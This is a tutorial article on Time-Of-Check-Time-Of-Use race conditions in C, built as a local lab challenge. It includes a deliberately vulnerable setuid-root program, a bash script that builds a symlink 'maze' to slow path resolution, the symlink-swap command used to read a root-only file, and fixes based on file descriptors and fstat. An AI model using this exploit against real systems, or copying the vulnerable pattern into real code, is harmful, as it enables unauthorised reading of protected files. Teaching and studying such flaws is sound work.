TOC - TOU

In this article I want to describe a common race condition vulnerability type known as Time-Of-Check - Time-Of-Use (TOC-TOU).

I am going through the following steps:


The vulnerability

Let’s discuss the vulnerability by analysing the following code:

    // filename: toc_tou.c
    #include<unistd.h>
    #include<stdio.h>

    int main(int argc, char * argv[])
    {
        FILE * file;
        int can_read, c;

        can_read = access(argv[1], R_OK);
        if (can_read == 0)
        {
            file = fopen(argv[1], "r");
            while((c = fgetc(file)) != EOF){
                putc(c, stdout);
            }
            fclose(file);
        }   
        else{
            printf("You have no power!\n");
        }

        return 0;
    }

In line 10, the file path given as argument, will be used to check if you have the permission to read the file pointed by it. If you don’t the program will print “You have no power!".

In line 13, the same file path will be used to read the file pointed by it.

The problem comes when you provide a path to a file that you can read, in order to pass the check in line 10, and before the program reach line 13 you change the file pointed by the same path.

The time between the execution of line 10 and the line 13 is what we have to change the file pointed by the path provided. Even if it may seem that there is not much time between the execution of the two command there is still a race condition that we are going to exploit.

In this vulnerable program, the read operation performed by the root user. Of course, it is not a good practice to run a program with high privileges but the program should drop them as soon as possible and run with lowest possible privileges. In this article we are not going to dig more into this aspect.

Setup the environment for the challenge

To setup the challenge we are going to setup the environment with the following code:

    #!/bin/bash
    # filename: create_challenge.sh

    rm -f file_to_check.txt
    sudo rm -f file_to_open.txt
    echo 'public file' > file_to_check.txt
    echo 'secret file'  > file_to_open.txt
    chmod 700 file_to_open.txt
    sudo chown root:root file_to_open.txt
    make
    sudo chown root:root toc_tou
    sudo chmod u+s toc_tou

Where the makefile is:

    all: toc_tou

    toc_tou: toc_tou.c makefile
        gcc -o toc_tou toc_tou.c

Once you run $ ./create_challenge.sh you should have a folder that looks like this:

    -rwxr-xr-x  1 pippo pippo   265 May 23 08:52 create_challenge.sh*
    -rw-r--r--  1 pippo pippo    12 May 23 08:55 file_to_check.txt
    -rwx------  1 root  root     12 May 23 08:55 file_to_open.txt*
    -rwxr-xr-x  1 pippo pippo    72 Apr 20 22:38 makefile*
    -rwsr-xr-x  1 root  root   8568 May 23 08:55 toc_tou*
    -rwxr-xr-x  1 pippo pippo   863 May 23 08:52 toc_tou.c*

In line 5, you can see that the toc_tou program has the setuid bit active and the program owner is root. This means that when the program is going to be executed it will run with he effective user ID as root.

Exploit the challenge

To exploit this program we are going to provide the program a path to a “filesystem maze” so that to reach the file pointed by the path, the system need traverse a lot of folders:

    #!/bin/bash

    currentDir=$(pwd)
    linkOut=0
    linkIn=1
    numFolders=1900
    fileTarget=file_to_check.txt

    create_folders(){
        folder=$1
        dirstring="."
        for index in $(seq 0 $numFolders); do mkdir $folder && cd $folder && dirstring=${dirstring}/$folder ; done
        ln -s $currentDir/link$linkIn link$linkIn
        cd $currentDir
        ln -s $currentDir/$dirstring/link$linkIn link$linkOut
        linkOut=$(($linkOut+1))
        linkIn=$(($linkIn+1))
    }

    create_folders "1"
    create_folders "2"
    create_folders "3"
    create_folders "4"
    create_folders "5"
    create_folders "6"
    create_folders "7"
    create_folders "8"
    create_folders "9"
    create_folders "0"

    ln -s $fileTarget link$linkOut 
    ln -s link0 link

This code will create 10 folders that have 1900 folders inside each of them. It will also create 10 links in the current folder that point to the inner most folder where another link points to the next link in the main folder. This chain of links will end with the link in the main folder that will point to the file we need to check.

link –> link0
link0 –> folder –> . . . –> folder –> link1
. . .
link8 –> folder –> . . . –> folder –> link9
link9 –> file_to_check.txt

As explained before the purpose of this “maze” is to slow down the traversal of the path done by the system. When the system is busy traversing the path to reach the legitimate file used to check the permission, we can change the file pointed by the initial path to a file of our choice. Since the program is running with root permission, we will be able to read any file.

Now we can run the program as:

    $ ./toc_tou link

My CPU is an i7 running at 2.90GHz and it takes about 1.5 seconds to traverse the maze to find the file used to check the access permissions. During this time we can have another terminal open to change the pointer of the link given as argument:

    $ rm link && ln -s file_to_open.txt link

A common problem that you can incur while trying this challenge is that when you execute the creation of the maze the system is going to cache them in order to speed-up future operations. To clear the cache from dentries, inodes and page cache, you can execute:

    # sync && echo 3 > /proc/sys/vm/drop_caches

Now, if you try to exploit the vulnerable program again, your system is going to traverse the path again. It is clear that in a real exploitation, you won’t have access to this privileged command therefore you’ll have to wait for the cache to clean itself or use other programs to force the cache to be filled with other data.

It is of course possible to create a bigger maze to have more time between the two operations.In my trials, with 36 folders, each of them with 1900 inner folders, the path resolution is going to take 3.6 seconds. With 36 folders, each of them with 1500 inner folders, the path resolution is going to take 2.6 seconds.

How to remediate for the vulnerable code

The program is vulnerable because it operates on file paths that can be changed after the check operation. To avoid that, the program need to operate on file descriptor.

The open function can be used open a file and it returns a file descriptor. Once you have the file descriptor you can use other functions to check the permission of the file, like fstat.

    int open(const char *pathname, int flags);
    int fstat(int fd, struct stat *statbuf);

In addition to use functions that use file descriptors you can use file pointers too. A file descriptor is an integer used to identify an opened file at kernel level. A file pointer is a C standard library construct, called FILE. The FILE wraps the file descriptor, and adds other features to it. (It is possible to get the file pointer from a file descriptor, and vice verse, with the functions fileno and fdopen.)